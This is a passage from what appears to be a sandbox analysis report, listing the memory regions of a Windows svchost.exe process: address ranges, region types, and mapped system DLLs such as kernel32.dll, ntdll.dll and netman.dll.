	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 1628
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 1629
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1630
	        start_va = 0xc0000
	          end_va = 0xc1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000c0000"
	        filename = ""

Region:
	              id = 1631
	        start_va = 0xd0000
	          end_va = 0x14ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 1632
	        start_va = 0x150000
	          end_va = 0x150fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000150000"
	        filename = ""

Region:
	              id = 1633
	        start_va = 0x160000
	          end_va = 0x16ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000160000"
	        filename = ""

Region:
	              id = 1634
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 1635
	        start_va = 0x180000
	          end_va = 0x27ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000180000"
	        filename = ""

Region:
	              id = 1636
	        start_va = 0x280000
	          end_va = 0x37ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000280000"
	        filename = ""

Region:
	              id = 1637
	        start_va = 0x380000
	          end_va = 0x507fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000380000"
	        filename = ""

Region:
	              id = 1638
	        start_va = 0x510000
	          end_va = 0x690fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000510000"
	        filename = ""

Region:
	              id = 1639
	        start_va = 0x6a0000
	          end_va = 0x75ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000006a0000"
	        filename = ""

Region:
	              id = 1640
	        start_va = 0x760000
	          end_va = 0xb52fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000760000"
	        filename = ""

Region:
	              id = 1641
	        start_va = 0xb60000
	          end_va = 0xb60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000b60000"
	        filename = ""

Region:
	              id = 1642
	        start_va = 0xb70000
	          end_va = 0xb70fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000b70000"
	        filename = ""

Region:
	              id = 1643
	        start_va = 0xb80000
	          end_va = 0xb80fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000b80000"
	        filename = ""

Region:
	              id = 1644
	        start_va = 0xb90000
	          end_va = 0xb90fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000b90000"
	        filename = ""

Region:
	              id = 1645
	        start_va = 0xba0000
	          end_va = 0xba1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000ba0000"
	        filename = ""

Region:
	              id = 1646
	        start_va = 0xbb0000
	          end_va = 0xbb0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000bb0000"
	        filename = ""

Region:
	              id = 1647
	        start_va = 0xbc0000
	          end_va = 0xc3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000bc0000"
	        filename = ""

Region:
	              id = 1648
	        start_va = 0xc40000
	          end_va = 0xc41fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000c40000"
	        filename = ""

Region:
	              id = 1649
	        start_va = 0xc50000
	          end_va = 0xc50fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000c50000"
	        filename = ""

Region:
	              id = 1650
	        start_va = 0xc60000
	          end_va = 0xc60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000c60000"
	        filename = ""

Region:
	              id = 1651
	        start_va = 0xc80000
	          end_va = 0xc8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000c80000"
	        filename = ""

Region:
	              id = 1652
	        start_va = 0xcb0000
	          end_va = 0xcbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000cb0000"
	        filename = ""

Region:
	              id = 1653
	        start_va = 0xd90000
	          end_va = 0xe0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000d90000"
	        filename = ""

Region:
	              id = 1654
	        start_va = 0xe20000
	          end_va = 0xe9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e20000"
	        filename = ""

Region:
	              id = 1655
	        start_va = 0xf60000
	          end_va = 0xfdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000f60000"
	        filename = ""

Region:
	              id = 1656
	        start_va = 0xfe0000
	          end_va = 0x12aefff
	     entry_point = 0xfe0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 1657
	        start_va = 0x12f0000
	          end_va = 0x136ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000012f0000"
	        filename = ""

Region:
	              id = 1658
	        start_va = 0x13a0000
	          end_va = 0x141ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000013a0000"
	        filename = ""

Region:
	              id = 1659
	        start_va = 0x1450000
	          end_va = 0x14cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001450000"
	        filename = ""

Region:
	              id = 1660
	        start_va = 0x1530000
	          end_va = 0x15affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001530000"
	        filename = ""

Region:
	              id = 1661
	        start_va = 0x15e0000
	          end_va = 0x165ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000015e0000"
	        filename = ""

Region:
	              id = 1662
	        start_va = 0x1660000
	          end_va = 0x16dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001660000"
	        filename = ""

Region:
	              id = 1663
	        start_va = 0x16e0000
	          end_va = 0x17dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000016e0000"
	        filename = ""

Region:
	              id = 1664
	        start_va = 0x1820000
	          end_va = 0x189ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001820000"
	        filename = ""

Region:
	              id = 1665
	        start_va = 0x18b0000
	          end_va = 0x192ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000018b0000"
	        filename = ""

Region:
	              id = 1666
	        start_va = 0x19e0000
	          end_va = 0x1a5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000019e0000"
	        filename = ""

Region:
	              id = 1667
	        start_va = 0x1a60000
	          end_va = 0x1adffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001a60000"
	        filename = ""

Region:
	              id = 1668
	        start_va = 0x1b60000
	          end_va = 0x1b6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001b60000"
	        filename = ""

Region:
	              id = 1669
	        start_va = 0x1ba0000
	          end_va = 0x1c1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001ba0000"
	        filename = ""

Region:
	              id = 1670
	        start_va = 0x1c50000
	          end_va = 0x1ccffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001c50000"
	        filename = ""

Region:
	              id = 1671
	        start_va = 0x1cd0000
	          end_va = 0x1dcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001cd0000"
	        filename = ""

Region:
	              id = 1672
	        start_va = 0x1e40000
	          end_va = 0x1ebffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001e40000"
	        filename = ""

Region:
	              id = 1673
	        start_va = 0x1ec0000
	          end_va = 0x1ecffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001ec0000"
	        filename = ""

Region:
	              id = 1674
	        start_va = 0x1f70000
	          end_va = 0x1f7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001f70000"
	        filename = ""

Region:
	              id = 1675
	        start_va = 0x1ff0000
	          end_va = 0x206ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001ff0000"
	        filename = ""

Region:
	              id = 1676
	        start_va = 0x20b0000
	          end_va = 0x21affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000020b0000"
	        filename = ""

Region:
	              id = 1677
	        start_va = 0x21c0000
	          end_va = 0x223ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000021c0000"
	        filename = ""

Region:
	              id = 1678
	        start_va = 0x22a0000
	          end_va = 0x22affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000022a0000"
	        filename = ""

Region:
	              id = 1679
	        start_va = 0x2380000
	          end_va = 0x238ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002380000"
	        filename = ""

Region:
	              id = 1680
	        start_va = 0x2390000
	          end_va = 0x248ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002390000"
	        filename = ""

Region:
	              id = 1681
	        start_va = 0x2560000
	          end_va = 0x256ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002560000"
	        filename = ""

Region:
	              id = 1682
	        start_va = 0x2570000
	          end_va = 0x266ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002570000"
	        filename = ""

Region:
	              id = 1683
	        start_va = 0x2670000
	          end_va = 0x276ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002670000"
	        filename = ""

Region:
	              id = 1684
	        start_va = 0x28c0000
	          end_va = 0x293ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000028c0000"
	        filename = ""

Region:
	              id = 1685
	        start_va = 0x743b0000
	          end_va = 0x743b2fff
	     entry_point = 0x743b0000
	     region_type = mapped_file
	            name = "sfc.dll"
	        filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll")

Region:
	              id = 1686
	        start_va = 0x777e0000
	          end_va = 0x778fefff
	     entry_point = 0x777e0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1687
	        start_va = 0x77900000
	          end_va = 0x779f9fff
	     entry_point = 0x77900000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1688
	        start_va = 0x77a00000
	          end_va = 0x77ba8fff
	     entry_point = 0x77a00000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1689
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1690
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 1691
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1692
	        start_va = 0xffa70000
	          end_va = 0xffa7afff
	     entry_point = 0xffa70000
	     region_type = mapped_file
	            name = "svchost.exe"
	        filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe")

Region:
	              id = 1693
	        start_va = 0x7fef6fc0000
	          end_va = 0x7fef6ffefff
	     entry_point = 0x7fef6fc0000
	     region_type = mapped_file
	            name = "cscobj.dll"
	        filename = "\\Windows\\System32\\cscobj.dll" (normalized: "c:\\windows\\system32\\cscobj.dll")

Region:
	              id = 1694
	        start_va = 0x7fef7090000
	          end_va = 0x7fef70f1fff
	     entry_point = 0x7fef7090000
	     region_type = mapped_file
	            name = "rasapi32.dll"
	        filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll")

Region:
	              id = 1695
	        start_va = 0x7fef7100000
	          end_va = 0x7fef7139fff
	     entry_point = 0x7fef7100000
	     region_type = mapped_file
	            name = "mprapi.dll"
	        filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll")

Region:
	              id = 1696
	        start_va = 0x7fef7140000
	          end_va = 0x7fef7217fff
	     entry_point = 0x7fef7140000
	     region_type = mapped_file
	            name = "rasdlg.dll"
	        filename = "\\Windows\\System32\\rasdlg.dll" (normalized: "c:\\windows\\system32\\rasdlg.dll")

Region:
	              id = 1697
	        start_va = 0x7fef7220000
	          end_va = 0x7fef74aafff
	     entry_point = 0x7fef7220000
	     region_type = mapped_file
	            name = "netshell.dll"
	        filename = "\\Windows\\System32\\netshell.dll" (normalized: "c:\\windows\\system32\\netshell.dll")

Region:
	              id = 1698
	        start_va = 0x7fef74f0000
	          end_va = 0x7fef750bfff
	     entry_point = 0x7fef74f0000
	     region_type = mapped_file
	            name = "rasman.dll"
	        filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll")

Region:
	              id = 1699
	        start_va = 0x7fef7750000
	          end_va = 0x7fef775bfff
	     entry_point = 0x7fef7750000
	     region_type = mapped_file
	            name = "apphlpdm.dll"
	        filename = "\\Windows\\System32\\Apphlpdm.dll" (normalized: "c:\\windows\\system32\\apphlpdm.dll")

Region:
	              id = 1700
	        start_va = 0x7fef7760000
	          end_va = 0x7fef7776fff
	     entry_point = 0x7fef7760000
	     region_type = mapped_file
	            name = "portabledeviceconnectapi.dll"
	        filename = "\\Windows\\System32\\PortableDeviceConnectApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceconnectapi.dll")

Region:
	              id = 1701
	        start_va = 0x7fef7780000
	          end_va = 0x7fef783cfff
	     entry_point = 0x7fef7780000
	     region_type = mapped_file
	            name = "portabledeviceapi.dll"
	        filename = "\\Windows\\System32\\PortableDeviceApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceapi.dll")

Region:
	              id = 1702
	        start_va = 0x7fef8160000
	          end_va = 0x7fef81cafff
	     entry_point = 0x7fef8160000
	     region_type = mapped_file
	            name = "hnetcfg.dll"
	        filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll")

Region:
	              id = 1703
	        start_va = 0x7fef82c0000
	          end_va = 0x7fef8343fff
	     entry_point = 0x7fef82c0000
	     region_type = mapped_file
	            name = "netcfgx.dll"
	        filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll")

Region:
	              id = 1704
	        start_va = 0x7fef8730000
	          end_va = 0x7fef8743fff
	     entry_point = 0x7fef8730000
	     region_type = mapped_file
	            name = "wbemsvc.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")

Region:
	              id = 1705
	        start_va = 0x7fef89b0000
	          end_va = 0x7fef8a0bfff
	     entry_point = 0x7fef89b0000
	     region_type = mapped_file
	            name = "netman.dll"
	        filename = "\\Windows\\System32\\netman.dll" (normalized: "c:\\windows\\system32\\netman.dll")

Region:
	              id = 1706
	        start_va = 0x7fef8db0000
	          end_va = 0x7fef8e2bfff
	     entry_point = 0x7fef8db0000
	     region_type = mapped_file
	            name = "wer.dll"
	        filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll")

Region:
	              id = 1707
	        start_va = 0x7fef94c0000
	          end_va = 0x7fef94cefff
	     entry_point = 0x7fef94c0000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")

Region:
	              id = 1708
	        start_va = 0x7fef94e0000
	          end_va = 0x7fef9506fff
	     entry_point = 0x7fef94e0000
	     region_type = mapped_file
	            name = "ntdsapi.dll"
	        filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")

Region:
	              id = 1709
	        start_va = 0x7fef9510000
	          end_va = 0x7fef95f1fff
	     entry_point = 0x7fef9510000
	     region_type = mapped_file
	            name = "fastprox.dll"
	        filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")

Region:
	              id = 1710
	        start_va = 0x7fef99b0000
	          end_va = 0x7fef9a35fff
	     entry_point = 0x7fef99b0000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")

Region:
	              id = 1711
	        start_va = 0x7fef9ca0000
	          end_va = 0x7fef9cc1fff
	     entry_point = 0x7fef9ca0000
	     region_type = mapped_file
	            name = "trkwks.dll"
	        filename = "\\Windows\\System32\\trkwks.dll" (normalized: "c:\\windows\\system32\\trkwks.dll")

Region:
	              id = 1712
	        start_va = 0x7fef9d10000
	          end_va = 0x7fef9d28fff
	     entry_point = 0x7fef9d10000
	     region_type = mapped_file
	            name = "wdi.dll"
	        filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll")

Region:
	              id = 1713
	        start_va = 0x7fefa370000
	          end_va = 0x7fefa37ffff
	     entry_point = 0x7fefa370000
	     region_type = mapped_file
	            name = "sfc_os.dll"
	        filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll")

Region:
	              id = 1714
	        start_va = 0x7fefa380000
	          end_va = 0x7fefa391fff
	     entry_point = 0x7fefa380000
	     region_type = mapped_file
	            name = "aepic.dll"
	        filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll")

Region:
	              id = 1715
	        start_va = 0x7fefa3c0000
	          end_va = 0x7fefa3f1fff
	     entry_point = 0x7fefa3c0000
	     region_type = mapped_file
	            name = "pcasvc.dll"
	        filename = "\\Windows\\System32\\pcasvc.dll" (normalized: "c:\\windows\\system32\\pcasvc.dll")

Region:
	              id = 1716
	        start_va = 0x7fefa7c0000
	          end_va = 0x7fefa816fff
	     entry_point = 0x7fefa7c0000
	     region_type = mapped_file
	            name = "apphelp.dll"
	        filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll")

Region:
	              id = 1717
	        start_va = 0x7fefafc0000
	          end_va = 0x7fefafd0fff
	     entry_point = 0x7fefafc0000
	     region_type = mapped_file
	            name = "rtutils.dll"
	        filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")

Region:
	              id = 1718
	        start_va = 0x7fefbb90000
	          end_va = 0x7fefbbc4fff
	     entry_point = 0x7fefbb90000
	     region_type = mapped_file
	            name = "xmllite.dll"
	        filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll")

Region:
	              id = 1719
	        start_va = 0x7fefbfc0000
	          end_va = 0x7fefbfcafff
	     entry_point = 0x7fefbfc0000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 1720
	        start_va = 0x7fefbfd0000
	          end_va = 0x7fefbff6fff
	     entry_point = 0x7fefbfd0000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 1721
	        start_va = 0x7fefc020000
	          end_va = 0x7fefc02ffff
	     entry_point = 0x7fefc020000
	     region_type = mapped_file
	            name = "uxsms.dll"
	        filename = "\\Windows\\System32\\uxsms.dll" (normalized: "c:\\windows\\system32\\uxsms.dll")

Region:
	              id = 1722
	        start_va = 0x7fefc050000
	          end_va = 0x7fefc060fff
	     entry_point = 0x7fefc050000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 1723
	        start_va = 0x7fefc0e0000
	          end_va = 0x7fefc0eafff
	     entry_point = 0x7fefc0e0000
	     region_type = mapped_file
	            name = "slc.dll"
	        filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll")

Region:
	              id = 1724
	        start_va = 0x7fefc0f0000
	          end_va = 0x7fefc0fbfff
	     entry_point = 0x7fefc0f0000
	     region_type = mapped_file
	            name = "dsrole.dll"
	        filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll")

Region:
	              id = 1725
	        start_va = 0x7fefc100000
	          end_va = 0x7fefc2f3fff
	     entry_point = 0x7fefc100000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll")

Region:
	              id = 1726
	        start_va = 0x7fefc300000
	          end_va = 0x7fefc33cfff
	     entry_point = 0x7fefc300000
	     region_type = mapped_file
	            name = "mstask.dll"
	        filename = "\\Windows\\System32\\mstask.dll" (normalized: "c:\\windows\\system32\\mstask.dll")

Region:
	              id = 1727
	        start_va = 0x7fefc340000
	          end_va = 0x7fefc466fff
	     entry_point = 0x7fefc340000
	     region_type = mapped_file
	            name = "taskschd.dll"
	        filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll")

Region:
	              id = 1728
	        start_va = 0x7fefc480000
	          end_va = 0x7fefc498fff
	     entry_point = 0x7fefc480000
	     region_type = mapped_file
	            name = "atl.dll"
	        filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll")

Region:
	              id = 1729
	        start_va = 0x7fefc4e0000
	          end_va = 0x7fefc50ffff
	     entry_point = 0x7fefc4e0000
	     region_type = mapped_file
	            name = "peerdist.dll"
	        filename = "\\Windows\\System32\\PeerDist.dll" (normalized: "c:\\windows\\system32\\peerdist.dll")

Region:
	              id = 1730
	        start_va = 0x7fefc510000
	          end_va = 0x7fefc524fff
	     entry_point = 0x7fefc510000
	     region_type = mapped_file
	            name = "nlaapi.dll"
	        filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll")

Region:
	              id = 1731
	        start_va = 0x7fefc600000
	          end_va = 0x7fefc6abfff
	     entry_point = 0x7fefc600000
	     region_type = mapped_file
	            name = "cscsvc.dll"
	        filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll")

Region:
	              id = 1732
	        start_va = 0x7fefc700000
	          end_va = 0x7fefc708fff
	     entry_point = 0x7fefc700000
	     region_type = mapped_file
	            name = "avrt.dll"
	        filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll")

Region:
	              id = 1733
	        start_va = 0x7fefc710000
	          end_va = 0x7fefc83bfff
	     entry_point = 0x7fefc710000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")

Region:
	              id = 1734
	        start_va = 0x7fefc840000
	          end_va = 0x7fefc88afff
	     entry_point = 0x7fefc840000
	     region_type = mapped_file
	            name = "mmdevapi.dll"
	        filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll")

Region:
	              id = 1735
	        start_va = 0x7fefc890000
	          end_va = 0x7fefc8bbfff
	     entry_point = 0x7fefc890000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 1736
	        start_va = 0x7fefc8c0000
	          end_va = 0x7fefc96bfff
	     entry_point = 0x7fefc8c0000
	     region_type = mapped_file
	            name = "audiosrv.dll"
	        filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll")

Region:
	              id = 1737
	        start_va = 0x7fefcb10000
	          end_va = 0x7fefcb1bfff
	     entry_point = 0x7fefcb10000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 1738
	        start_va = 0x7fefcca0000
	          end_va = 0x7fefccacfff
	     entry_point = 0x7fefcca0000
	     region_type = mapped_file
	            name = "pcwum.dll"
	        filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll")

Region:
	              id = 1739
	        start_va = 0x7fefcce0000
	          end_va = 0x7fefccfafff
	     entry_point = 0x7fefcce0000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 1740
	        start_va = 0x7fefcd00000
	          end_va = 0x7fefcd1dfff
	     entry_point = 0x7fefcd00000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 1741
	        start_va = 0x7fefcd20000
	          end_va = 0x7fefcd31fff
	     entry_point = 0x7fefcd20000
	     region_type = mapped_file
	            name = "devrtl.dll"
	        filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll")

Region:
	              id = 1742
	        start_va = 0x7fefcf40000
	          end_va = 0x7fefcf86fff
	     entry_point = 0x7fefcf40000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 1743
	        start_va = 0x7fefd240000
	          end_va = 0x7fefd256fff
	     entry_point = 0x7fefd240000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 1744
	        start_va = 0x7fefd430000
	          end_va = 0x7fefd45efff
	     entry_point = 0x7fefd430000
	     region_type = mapped_file
	            name = "authz.dll"
	        filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll")

Region:
	              id = 1745
	        start_va = 0x7fefd470000
	          end_va = 0x7fefd4dcfff
	     entry_point = 0x7fefd470000
	     region_type = mapped_file
	            name = "wevtapi.dll"
	        filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll")

Region:
	              id = 1746
	        start_va = 0x7fefd810000
	          end_va = 0x7fefd834fff
	     entry_point = 0x7fefd810000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 1747
	        start_va = 0x7fefd840000
	          end_va = 0x7fefd84efff
	     entry_point = 0x7fefd840000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 1748
	        start_va = 0x7fefd8f0000
	          end_va = 0x7fefd92cfff
	     entry_point = 0x7fefd8f0000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 1749
	        start_va = 0x7fefd930000
	          end_va = 0x7fefd943fff
	     entry_point = 0x7fefd930000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 1750
	        start_va = 0x7fefd950000
	          end_va = 0x7fefd95efff
	     entry_point = 0x7fefd950000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 1751
	        start_va = 0x7fefd9f0000
	          end_va = 0x7fefd9fefff
	     entry_point = 0x7fefd9f0000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 1752
	        start_va = 0x7fefda00000
	          end_va = 0x7fefda6afff
	     entry_point = 0x7fefda00000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1753
	        start_va = 0x7fefda70000
	          end_va = 0x7fefda89fff
	     entry_point = 0x7fefda70000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 1754
	        start_va = 0x7fefda90000
	          end_va = 0x7fefdac9fff
	     entry_point = 0x7fefda90000
